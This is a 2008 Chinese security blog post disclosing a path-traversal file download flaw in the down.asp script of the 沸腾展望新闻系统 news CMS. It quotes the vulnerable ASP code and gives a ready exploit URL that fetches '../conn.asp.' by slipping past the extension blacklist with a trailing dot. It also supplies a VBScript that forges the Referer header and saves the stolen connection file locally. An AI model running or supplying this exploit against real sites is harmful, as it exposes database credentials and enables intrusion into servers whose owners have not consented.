沸腾展望新闻系统任意文件下载漏洞

    [雨 April 15, 2008 09:13 | by ]
Author:Tr4c3[dot]126[dot]com
版权所有 http://www.nspcn.org
#+++
影响版本:
沸腾展望新闻系统[核心:尘缘雅境] V1.1 Access版 Finish(SP3)
#+++
漏洞文件:
down.asp
#+++
关键代码:
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
    Response.Write "无效文件名!"
    Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
    Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
        Response.Write "非法操作!"
        Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open

SavePath = FileUploadPath   '存放上传文件的目录
TrueFileName = SavePath & FileName

Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
    Response.BinaryWrite Stream.Read(1024 * 64)
Wend


#+++
Exploit:
http://www.target.com/down.asp?FileName=../conn.asp.

(不需要登录,用minibrowser伪造referer)
#+++
VBS版利用
Dim strUrl, strData
strUrl = "http://www.target.com/down.asp?FileName=../conn.asp."
Set xPost = CreateObject("Microsoft.XMLHTTP")
With xPost
  .open "Get", strUrl, False
  .SetRequestHeader "Referer", strUrl
  .Send()
  strData = .responseBody

End with
Set sGet = CreateObject("ADODB.Stream")
With sGet
  .Mode = 3
  .Type = 1
  .Open()
  .Write(strData)
  .SaveToFile "Conn.asp",2
End with

set sGet = Nothing
set xPost = Nothing
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(7102)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive